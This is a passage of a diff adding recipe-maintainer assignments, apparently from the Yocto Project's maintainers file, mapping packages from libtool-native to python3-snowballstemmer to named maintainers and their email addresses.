+RECIPE_MAINTAINER:pn-libtool-native = "Robert Yang <liezhi.yang@windriver.com>"
+RECIPE_MAINTAINER:pn-libtraceevent = "Bruce Ashfield <bruce.ashfield@gmail.com>"
+RECIPE_MAINTAINER:pn-libtry-tiny-perl = "Tim Orling <tim.orling@konsulko.com>"
+RECIPE_MAINTAINER:pn-libucontext = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-libunistring = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-libunwind = "Bruce Ashfield <bruce.ashfield@gmail.com>"
+RECIPE_MAINTAINER:pn-liburcu = "Wang Mingyu <wangmy@fujitsu.com>"
+RECIPE_MAINTAINER:pn-liburi-perl = "Tim Orling <tim.orling@konsulko.com>"
+RECIPE_MAINTAINER:pn-libusb1 = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-libubootenv = "Stefano Babic <sbabic@denx.de>"
+RECIPE_MAINTAINER:pn-libuv = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-libva = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-libva-initial = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-libva-utils = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-libvorbis = "Zang Ruochen <zangruochen@loongson.cn>"
+RECIPE_MAINTAINER:pn-libwebp = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-libwpe = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-libx11 = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-libx11-compose-data = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-libxau = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-libxcb = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-libxcvt = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-libxcomposite = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-libxcursor = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-libxcrypt = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-libxcrypt-compat = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-libxdamage = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-libxdmcp = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-libxext = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-libxfixes = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-libxfont = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-libxfont2 = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-libxft = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-libxi = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-libxinerama = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-libxkbcommon = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-libxkbfile = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-libxml-namespacesupport-perl = "Tim Orling <tim.orling@konsulko.com>"
+RECIPE_MAINTAINER:pn-libxml-parser-perl = "Tim Orling <tim.orling@konsulko.com>"
+RECIPE_MAINTAINER:pn-libxml-perl = "Tim Orling <tim.orling@konsulko.com>"
+RECIPE_MAINTAINER:pn-libxml-sax-base-perl = "Tim Orling <tim.orling@konsulko.com>"
+RECIPE_MAINTAINER:pn-libxml-sax-perl = "Tim Orling <tim.orling@konsulko.com>"
+RECIPE_MAINTAINER:pn-libxml-simple-perl = "Tim Orling <tim.orling@konsulko.com>"
+RECIPE_MAINTAINER:pn-libxml2 = "Hongxu Jia <hongxu.jia@windriver.com>"
+RECIPE_MAINTAINER:pn-libxmlb = "Markus Volk <f_l_k@t-online.de>"
+RECIPE_MAINTAINER:pn-libxmu = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-libxpm = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-libxrandr = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-libxrender = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-libxres = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-libxscrnsaver = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-libxshmfence = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-libxslt = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-libxt = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-libxtst = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-libxv = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-libxvmc = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-libxxf86vm = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-libyaml = "Wang Mingyu <wangmy@fujitsu.com>"
+RECIPE_MAINTAINER:pn-lighttpd = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-linux-dummy = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-linux-firmware = "Otavio Salvador <otavio.salvador@ossystems.com.br>"
+RECIPE_MAINTAINER:pn-linux-libc-headers = "Bruce Ashfield <bruce.ashfield@gmail.com>"
+RECIPE_MAINTAINER:pn-linux-yocto = "Bruce Ashfield <bruce.ashfield@gmail.com>"
+RECIPE_MAINTAINER:pn-linux-yocto-dev = "Bruce Ashfield <bruce.ashfield@gmail.com>"
+RECIPE_MAINTAINER:pn-linux-yocto-rt = "Bruce Ashfield <bruce.ashfield@gmail.com>"
+RECIPE_MAINTAINER:pn-linux-yocto-tiny = "Bruce Ashfield <bruce.ashfield@gmail.com>"
+RECIPE_MAINTAINER:pn-llvm = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-logrotate = "Yi Zhao <yi.zhao@windriver.com>"
+RECIPE_MAINTAINER:pn-log4cplus = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-lrzsz = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-lsb-release = "Hongxu Jia <hongxu.jia@windriver.com>"
+RECIPE_MAINTAINER:pn-lsof = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-ltp = "Yi Zhao <yi.zhao@windriver.com>"
+RECIPE_MAINTAINER:pn-lttng-modules = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-lttng-tools = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-lttng-ust = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-lua = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-lz4 = "Denys Dmytriyenko <denis@denix.org>"
+RECIPE_MAINTAINER:pn-lzo = "Denys Dmytriyenko <denis@denix.org>"
+RECIPE_MAINTAINER:pn-lzip = "Denys Dmytriyenko <denis@denix.org>"
+RECIPE_MAINTAINER:pn-lzlib = "Denys Dmytriyenko <denis@denix.org>"
+RECIPE_MAINTAINER:pn-lzop = "Marek Vasut <marex@denx.de>"
+RECIPE_MAINTAINER:pn-m4 = "Robert Yang <liezhi.yang@windriver.com>"
+RECIPE_MAINTAINER:pn-m4-native = "Robert Yang <liezhi.yang@windriver.com>"
+RECIPE_MAINTAINER:pn-make = "Robert Yang <liezhi.yang@windriver.com>"
+RECIPE_MAINTAINER:pn-makedepend = "Robert Yang <liezhi.yang@windriver.com>"
+RECIPE_MAINTAINER:pn-makedevs = "Chen Qi <Qi.Chen@windriver.com>"
+RECIPE_MAINTAINER:pn-make-mod-scripts = "Bruce Ashfield <bruce.ashfield@gmail.com>"
+RECIPE_MAINTAINER:pn-man-db = "Hongxu Jia <hongxu.jia@windriver.com>"
+RECIPE_MAINTAINER:pn-man-pages = "Hongxu Jia <hongxu.jia@windriver.com>"
+RECIPE_MAINTAINER:pn-matchbox-config-gtk = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-matchbox-desktop = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-matchbox-keyboard = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-matchbox-panel-2 = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-matchbox-session = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-matchbox-session-sato = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-matchbox-terminal = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-matchbox-theme-sato = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-matchbox-wm = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-mc = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-mdadm = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-menu-cache = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-mesa = "Otavio Salvador <otavio.salvador@ossystems.com.br>"
+RECIPE_MAINTAINER:pn-mesa-demos = "Otavio Salvador <otavio.salvador@ossystems.com.br>"
+RECIPE_MAINTAINER:pn-mesa-gl = "Otavio Salvador <otavio.salvador@ossystems.com.br>"
+RECIPE_MAINTAINER:pn-meson = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-meta-environment-${MACHINE} = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-meta-environment-extsdk-${MACHINE} = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-meta-extsdk-toolchain = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-meta-go-toolchain = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-meta-ide-support = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-meta-toolchain = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-meta-world-pkgdata = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-mingetty = "Yi Zhao <yi.zhao@windriver.com>"
+RECIPE_MAINTAINER:pn-mini-x-session = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-minicom = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-mkfontscale = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-mmc-utils = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-mobile-broadband-provider-info = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-modutils-initscripts = "Yi Zhao <yi.zhao@windriver.com>"
+RECIPE_MAINTAINER:pn-mpeg2dec = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-mpfr = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-mpg123 = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-msmtp = "Wang Mingyu <wangmy@fujitsu.com>"
+RECIPE_MAINTAINER:pn-mtd-utils = "Denys Dmytriyenko <denis@denix.org>"
+RECIPE_MAINTAINER:pn-mtdev = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-mtools = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-musl = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-musl-legacy-error = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-musl-locales = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-musl-obstack = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-musl-utils = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-nasm = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-nativesdk-buildtools-perl-dummy = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-nativesdk-icecc-toolchain = "Joshua Watt <JPEWhacker@gmail.com>"
+RECIPE_MAINTAINER:pn-nativesdk-libtool = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-nativesdk-packagegroup-sdk-host = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-nativesdk-qemu-helper = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-nativesdk-sdk-provides-dummy = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-newlib = "Alejandro Hernandez <alejandro@enedino.org>"
+RECIPE_MAINTAINER:pn-ncurses = "Hongxu Jia <hongxu.jia@windriver.com>"
+RECIPE_MAINTAINER:pn-neard = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-net-tools = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-netbase = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-nettle = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-nfs-export-root = "Robert Yang <liezhi.yang@windriver.com>"
+RECIPE_MAINTAINER:pn-nfs-utils = "Robert Yang <liezhi.yang@windriver.com>"
+RECIPE_MAINTAINER:pn-nghttp2 = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-ninja = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-npth = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-nss-myhostname = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-numactl = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-ofono = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-opensbi = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-openssh = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-openssl = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-opkg = "Alex Stewart <alex.stewart@ni.com>"
+RECIPE_MAINTAINER:pn-opkg-arch-config = "Alex Stewart <alex.stewart@ni.com>"
+RECIPE_MAINTAINER:pn-opkg-keyrings = "Alex Stewart <alex.stewart@ni.com>"
+RECIPE_MAINTAINER:pn-opkg-utils = "Alex Stewart <alex.stewart@ni.com>"
+RECIPE_MAINTAINER:pn-orc = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-os-release = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-ovmf = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-ovmf-shell-image = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-p11-kit = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-package-index = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-pango = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-parted = "Hongxu Jia <hongxu.jia@windriver.com>"
+RECIPE_MAINTAINER:pn-patch = "Hongxu Jia <hongxu.jia@windriver.com>"
+RECIPE_MAINTAINER:pn-patchelf = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-pbzip2 = "Denys Dmytriyenko <denis@denix.org>"
+RECIPE_MAINTAINER:pn-pciutils = "Chen Qi <Qi.Chen@windriver.com>"
+RECIPE_MAINTAINER:pn-pcmanfm = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-perf = "Bruce Ashfield <bruce.ashfield@gmail.com>"
+RECIPE_MAINTAINER:pn-perl = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-perlcross = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-piglit = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-pigz = "Hongxu Jia <hongxu.jia@windriver.com>"
+RECIPE_MAINTAINER:pn-pinentry = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-pixman = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-pkgconf = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-pkgconfig = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-pm-utils = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-pointercal-xinput = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-pong-clock = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-popt = "Yi Zhao <yi.zhao@windriver.com>"
+RECIPE_MAINTAINER:pn-powertop = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-ppp = "Hongxu Jia <hongxu.jia@windriver.com>"
+RECIPE_MAINTAINER:pn-ppp-dialin = "Hongxu Jia <hongxu.jia@windriver.com>"
+RECIPE_MAINTAINER:pn-procps = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-pseudo = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-psmisc = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-psplash = "Yi Zhao <yi.zhao@windriver.com>"
+RECIPE_MAINTAINER:pn-ptest-runner = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-pulseaudio = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-pulseaudio-client-conf-sato = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-puzzles = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-python3 = "Trevor Gamblin <tgamblin@baylibre.com>"
+RECIPE_MAINTAINER:pn-python3-alabaster = "Tim Orling <tim.orling@konsulko.com>"
+RECIPE_MAINTAINER:pn-python3-asn1crypto = "Tim Orling <tim.orling@konsulko.com>"
+RECIPE_MAINTAINER:pn-python3-atomicwrites = "Tim Orling <tim.orling@konsulko.com>"
+RECIPE_MAINTAINER:pn-python3-attrs = "Tim Orling <tim.orling@konsulko.com>"
+RECIPE_MAINTAINER:pn-python3-babel = "Tim Orling <tim.orling@konsulko.com>"
+RECIPE_MAINTAINER:pn-python3-bcrypt = "Tim Orling <tim.orling@konsulko.com>"
+RECIPE_MAINTAINER:pn-python3-beartype = "Marta Rybczynska <mrybczynska@syslinbit.com>"
+RECIPE_MAINTAINER:pn-python3-booleanpy = "zhengrq.fnst <zhengrq.fnst@fujitsu.com>"
+RECIPE_MAINTAINER:pn-python3-build = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-python3-calver = "Trevor Gamblin <tgamblin@baylibre.com>"
+RECIPE_MAINTAINER:pn-python3-certifi = "Tim Orling <tim.orling@konsulko.com>"
+RECIPE_MAINTAINER:pn-python3-cffi = "Tim Orling <tim.orling@konsulko.com>"
+RECIPE_MAINTAINER:pn-python3-chardet = "Tim Orling <tim.orling@konsulko.com>"
+RECIPE_MAINTAINER:pn-python3-click = "Wang Mingyu <wangmy@fujitsu.com>"
+RECIPE_MAINTAINER:pn-python3-cryptography = "Tim Orling <tim.orling@konsulko.com>"
+RECIPE_MAINTAINER:pn-python3-cryptography-vectors = "Tim Orling <tim.orling@konsulko.com>"
+RECIPE_MAINTAINER:pn-python3-cython = "Trevor Gamblin <tgamblin@baylibre.com>"
+RECIPE_MAINTAINER:pn-python3-dbus = "Zang Ruochen <zangruochen@loongson.cn>"
+RECIPE_MAINTAINER:pn-python3-dbusmock = "Trevor Gamblin <tgamblin@baylibre.com>"
+RECIPE_MAINTAINER:pn-python3-docutils = "Trevor Gamblin <tgamblin@baylibre.com>"
+RECIPE_MAINTAINER:pn-python3-dtc = "Trevor Gamblin <tgamblin@baylibre.com>"
+RECIPE_MAINTAINER:pn-python3-dtschema = "Bruce Ashfield <bruce.ashfield@gmail.com>"
+RECIPE_MAINTAINER:pn-python3-dtschema-wrapper = "Bruce Ashfield <bruce.ashfield@gmail.com>"
+RECIPE_MAINTAINER:pn-python3-editables = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-python3-pycryptodome = "Joshua Watt <JPEWhacker@gmail.com>"
+RECIPE_MAINTAINER:pn-python3-pycryptodomex = "Joshua Watt <JPEWhacker@gmail.com>"
+RECIPE_MAINTAINER:pn-python3-pyproject-metadata = "Tim Orling <tim.orling@konsulko.com>"
+RECIPE_MAINTAINER:pn-python3-pyrsistent = "Bruce Ashfield <bruce.ashfield@gmail.com>"
+RECIPE_MAINTAINER:pn-python3-extras = "Trevor Gamblin <tgamblin@baylibre.com>"
+RECIPE_MAINTAINER:pn-python3-flit-core = "Tim Orling <tim.orling@konsulko.com>"
+RECIPE_MAINTAINER:pn-python3-git = "Trevor Gamblin <tgamblin@baylibre.com>"
+RECIPE_MAINTAINER:pn-python3-gitdb = "Trevor Gamblin <tgamblin@baylibre.com>"
+RECIPE_MAINTAINER:pn-python3-hatchling = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-python3-hatch-fancy-pypi-readme = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-python3-hatch-vcs = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-python3-hypothesis = "Tim Orling <tim.orling@konsulko.com>"
+RECIPE_MAINTAINER:pn-python3-idna = "Bruce Ashfield <bruce.ashfield@gmail.com>"
+RECIPE_MAINTAINER:pn-python3-imagesize = "Tim Orling <tim.orling@konsulko.com>"
+RECIPE_MAINTAINER:pn-python3-importlib-metadata = "Tim Orling <tim.orling@konsulko.com>"
+RECIPE_MAINTAINER:pn-python3-iniconfig = "Tim Orling <tim.orling@konsulko.com>"
+RECIPE_MAINTAINER:pn-python3-iniparse = "Trevor Gamblin <tgamblin@baylibre.com>"
+RECIPE_MAINTAINER:pn-python3-iso8601 = "Tim Orling <tim.orling@konsulko.com>"
+RECIPE_MAINTAINER:pn-python3-isodate = "Leon Anavi <leon.anavi@konsulko.com>"
+RECIPE_MAINTAINER:pn-python3-installer = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-python3-jinja2 = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-python3-jsonpointer = "Bruce Ashfield <bruce.ashfield@gmail.com>"
+RECIPE_MAINTAINER:pn-python3-jsonschema = "Bruce Ashfield <bruce.ashfield@gmail.com>"
+RECIPE_MAINTAINER:pn-python3-jsonschema-specifications = "Bruce Ashfield <bruce.ashfield@gmail.com>"
+RECIPE_MAINTAINER:pn-python3-license-expression = "Wang Mingyu <wangmy@fujitsu.com>"
+RECIPE_MAINTAINER:pn-python3-libarchive-c = "Joshua Watt <JPEWhacker@gmail.com>"
+RECIPE_MAINTAINER:pn-python3-lxml = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-python3-magic = "Joshua Watt <JPEWhacker@gmail.com>"
+RECIPE_MAINTAINER:pn-python3-mako = "Trevor Gamblin <tgamblin@baylibre.com>"
+RECIPE_MAINTAINER:pn-python3-markdown = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-python3-markupsafe = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-python3-maturin = "Tim Orling <tim.orling@konsulko.com>"
+RECIPE_MAINTAINER:pn-python3-meson-python = "Tim Orling <tim.orling@konsulko.com>"
+RECIPE_MAINTAINER:pn-python3-more-itertools = "Tim Orling <tim.orling@konsulko.com>"
+RECIPE_MAINTAINER:pn-python3-ndg-httpsclient = "Tim Orling <tim.orling@konsulko.com>"
+RECIPE_MAINTAINER:pn-python3-numpy = "Trevor Gamblin <tgamblin@baylibre.com>"
+RECIPE_MAINTAINER:pn-python3-packaging = "Tim Orling <tim.orling@konsulko.com>"
+RECIPE_MAINTAINER:pn-python3-pathlib2 = "Tim Orling <tim.orling@konsulko.com>"
+RECIPE_MAINTAINER:pn-python3-pathspec = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-python3-pbr = "Zang Ruochen <zangruochen@loongson.cn>"
+RECIPE_MAINTAINER:pn-python3-pip = "Zang Ruochen <zangruochen@loongson.cn>"
+RECIPE_MAINTAINER:pn-python3-pluggy = "Tim Orling <tim.orling@konsulko.com>"
+RECIPE_MAINTAINER:pn-python3-ply = "Tim Orling <tim.orling@konsulko.com>"
+RECIPE_MAINTAINER:pn-python3-poetry-core = "Tim Orling <tim.orling@konsulko.com>"
+RECIPE_MAINTAINER:pn-python3-pretend = "Tim Orling <tim.orling@konsulko.com>"
+RECIPE_MAINTAINER:pn-python3-psutil = "Tim Orling <tim.orling@konsulko.com>"
+RECIPE_MAINTAINER:pn-python3-py = "Tim Orling <tim.orling@konsulko.com>"
+RECIPE_MAINTAINER:pn-python3-pyasn1 = "Tim Orling <tim.orling@konsulko.com>"
+RECIPE_MAINTAINER:pn-python3-pycairo = "Zang Ruochen <zangruochen@loongson.cn>"
+RECIPE_MAINTAINER:pn-python3-pycparser = "Tim Orling <tim.orling@konsulko.com>"
+RECIPE_MAINTAINER:pn-python3-pyelftools = "Joshua Watt <JPEWhacker@gmail.com>"
+RECIPE_MAINTAINER:pn-python3-pygments = "Tim Orling <tim.orling@konsulko.com>"
+RECIPE_MAINTAINER:pn-python3-pygobject = "Zang Ruochen <zangruochen@loongson.cn>"
+RECIPE_MAINTAINER:pn-python3-pyopenssl = "Tim Orling <tim.orling@konsulko.com>"
+RECIPE_MAINTAINER:pn-python3-pyparsing = "Trevor Gamblin <tgamblin@baylibre.com>"
+RECIPE_MAINTAINER:pn-python3-pyproject-hooks = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-python3-pysocks = "Tim Orling <tim.orling@konsulko.com>"
+RECIPE_MAINTAINER:pn-python3-pytest = "Tim Orling <tim.orling@konsulko.com>"
+RECIPE_MAINTAINER:pn-python3-pytest-runner = "Tim Orling <tim.orling@konsulko.com>"
+RECIPE_MAINTAINER:pn-python3-pytest-subtests = "Tim Orling <tim.orling@konsulko.com>"
+RECIPE_MAINTAINER:pn-python3-pytz = "Tim Orling <tim.orling@konsulko.com>"
+RECIPE_MAINTAINER:pn-python3-pyyaml = "Tim Orling <tim.orling@konsulko.com>"
+RECIPE_MAINTAINER:pn-python3-rdflib = "Wang Mingyu <wangmy@fujitsu.com>"
+RECIPE_MAINTAINER:pn-python3-referencing = "Tim Orling <tim.orling@konsulko.com>"
+RECIPE_MAINTAINER:pn-python3-requests = "Tim Orling <tim.orling@konsulko.com>"
+RECIPE_MAINTAINER:pn-python3-rfc3339-validator = "Bruce Ashfield <bruce.ashfield@gmail.com>"
+RECIPE_MAINTAINER:pn-python3-rfc3986-validator = "Bruce Ashfield <bruce.ashfield@gmail.com>"
+RECIPE_MAINTAINER:pn-python3-rfc3987 = "Bruce Ashfield <bruce.ashfield@gmail.com>"
+RECIPE_MAINTAINER:pn-python3-rpds-py = "Tim Orling <tim.orling@konsulko.com>"
+RECIPE_MAINTAINER:pn-python3-ruamel-yaml = "Bruce Ashfield <bruce.ashfield@gmail.com>"
+RECIPE_MAINTAINER:pn-python3-scons = "Tim Orling <tim.orling@konsulko.com>"
+RECIPE_MAINTAINER:pn-python3-semantic-version = "Tim Orling <tim.orling@konsulko.com>"
+RECIPE_MAINTAINER:pn-python3-setuptools = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-python3-setuptools-rust = "Tim Orling <tim.orling@konsulko.com>"
+RECIPE_MAINTAINER:pn-python3-setuptools-scm = "Tim Orling <tim.orling@konsulko.com>"
+RECIPE_MAINTAINER:pn-python3-six = "Zang Ruochen <zangruochen@loongson.cn>"
+RECIPE_MAINTAINER:pn-python3-smartypants = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-python3-smmap = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-python3-snowballstemmer = "Tim Orling <tim.orling@konsulko.com>"
